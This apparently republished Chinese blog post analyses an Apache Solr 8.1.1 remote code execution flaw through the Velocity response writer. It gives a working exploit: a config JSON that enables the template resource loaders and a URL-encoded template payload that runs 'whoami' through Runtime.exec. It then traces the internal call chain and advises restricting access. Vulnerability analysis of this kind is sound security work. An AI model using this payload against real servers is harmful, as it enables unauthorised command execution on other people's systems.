溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎樣進行Apache Solr最新RCE漏洞分析

發(fā)布時間:2022-01-18 15:48:40 來源:億速云 閱讀:301 作者:柒染 欄目:安全技術

這篇文章跟大家分析一下“怎樣進行Apache Solr最新RCE漏洞分析”。內容詳細易懂,對“怎樣進行Apache Solr最新RCE漏洞分析”感興趣的朋友可以跟著小編的思路慢慢深入來閱讀一下,希望閱讀后能夠對大家有所幫助。下面跟著小編一起深入學習“怎樣進行Apache Solr最新RCE漏洞分析”的知識吧。

引言

Apache Solr爆出RCE 0day漏洞(漏洞編號未給出),這里簡單的復現(xiàn)了對象,對整個RCE的流程做了一下分析,供各位看官參考。

漏洞復現(xiàn)

復現(xiàn)版本:8.1.1

實現(xiàn)RCE,需要分兩步,首先確認,應用開啟了某個core(可以在Core Admin中查看),實例中應用開啟了mycore,

怎樣進行Apache Solr最新RCE漏洞分析

然后先向其config接口發(fā)送以下json數(shù)據(jù),

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

怎樣進行Apache Solr最新RCE漏洞分析

接著訪問如下url,即可實現(xiàn)RCE,

/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

原理

首先去分析第一個數(shù)據(jù)包,因為是對mycore的配置,所以我們先把斷點打在處理配置請求的SolrConfigHandler的handleRequestBody函數(shù)上,

怎樣進行Apache Solr最新RCE漏洞分析

因為是POST的請求,跟進handlePOST函數(shù),

怎樣進行Apache Solr最新RCE漏洞分析

在handlePOST中,先取出mycore的當前配置,再和我們發(fā)送的配置同時帶進handleCommands函數(shù),并在后續(xù)的操作中,最終進到addNamedPlugin函數(shù),創(chuàng)建了一個VelocityResponseWriter對象,該對象的 solr.resource.loader.enabled和params.resource.loader.enabled的值設置成了true,該對象的name為velocity。

怎樣進行Apache Solr最新RCE漏洞分析

然后在發(fā)送第二個數(shù)據(jù)包的時候,在HttpSolrCall.call中獲取responseWriter的時候,會根據(jù)參數(shù)wt的值去獲取reponseWriter對象,當wt為velocity時,獲取的就是我們精心配置過的VelocityResponseWriter

怎樣進行Apache Solr最新RCE漏洞分析

怎樣進行Apache Solr最新RCE漏洞分析

在后續(xù)一連串調用后最終進入我們本次漏洞中最重的的VelocityResponseWriter.write函數(shù),首先調用createEngine函數(shù),生成了包含custom.vrm->payload的惡意template的engine,

怎樣進行Apache Solr最新RCE漏洞分析

惡意的template放在engine的overridingProperties的params.resource.loader.instance和solr.resource.loader.instance中

怎樣進行Apache Solr最新RCE漏洞分析

這里有一個很重要的點,要想讓惡意template進入params.resource.loader.instance和solr.resource.loader.instance中,是需要保證paramsResourceLoaderEnabled和solrResourceLoaderEnabled為True的,這也就是我們第一個數(shù)據(jù)包做的事情,

怎樣進行Apache Solr最新RCE漏洞分析

然后再VelocityResponseWriter.getTemplate就會根據(jù)我們提交的v.template參數(shù)獲取我們構造的惡意template

怎樣進行Apache Solr最新RCE漏洞分析

最終取出了惡意的template,并調用了它的merge方法,

怎樣進行Apache Solr最新RCE漏洞分析

要了解這個template就需要了解一下Velocity Java 模板引擎(因為這個tmplate是org.apache.velocity.Template類對象),官方說法翻譯一下如下,

Velocity是一個基于Java的模板引擎。它允許任何人使用簡單但功能強大的模板語言來引用Java代碼中定義的對象

從這個說法,就能看出這個模板引擎是具有執(zhí)行java代碼的功能的,我們只需了解一下它的基本寫法,

// 變量定義
#set($name =“velocity”)
// 變量賦值
#set($foo = $bar)
// 函數(shù)調用
#set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) 
// 循環(huán)語法
#foreach($element in $list)
 This is $element
 $velocityCount
#end
// 執(zhí)行模板
template.merge(context, writer);

有了上面這些基本的語法介紹,我們就能理解payload的構造方法了,如果希望更深入的了解,可以自行再去查閱Velocity Java 的資料,我們這里不再深入。

于是通過最后調用的惡意template的merge方法,成功造成了RCE,最后補上關鍵的調用鏈。

怎樣進行Apache Solr最新RCE漏洞分析

修復方案

目前官方還未給出補丁,建議對solr做一下訪問限制吧。

關于怎樣進行Apache Solr最新RCE漏洞分析就分享到這里啦,希望上述內容能夠讓大家有所提升。如果想要學習更多知識,請大家多多留意小編的更新。謝謝大家關注一下億速云網站!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經查實,將立刻刪除涉嫌侵權內容。

AI